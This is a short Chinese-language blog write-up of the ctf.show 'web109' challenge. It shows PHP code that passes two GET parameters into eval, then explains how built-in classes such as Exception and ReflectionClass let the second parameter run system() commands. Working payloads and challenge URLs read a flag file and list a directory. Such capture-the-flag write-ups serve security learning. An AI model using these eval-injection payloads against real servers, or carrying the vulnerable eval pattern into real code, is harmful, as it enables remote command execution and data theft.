web109笔记(异常处理类Exception-常用反射类ReflectionClass ReflectionMethod)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

这里传入两个参数,并且都需要有字母,我们用php内置类让v1不进行报错,v2执行我们的命令就好了

Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
反正⽤php内置类让v1不进⾏报错,v2执⾏命令 
?v1=mysqli&v2=system('tac fl36dg.txt') 也行

ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射

所以payload如下

?v1=Exception&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionMethod&v2=system('tac fl36dg.txt')

 

https://ff1867bd-56ab-4337-9667-5117526a0c4f.challenge.ctf.show/?v1=Exception&v2=system(ls)

https://ff1867bd-56ab-4337-9667-5117526a0c4f.challenge.ctf.show/?v1=Exception&v2=system(%27tac%20fl36dg.txt%27)

 

posted @ 2025-03-25 16:05  justdoIT*  阅读(6)  评论(0)    收藏  举报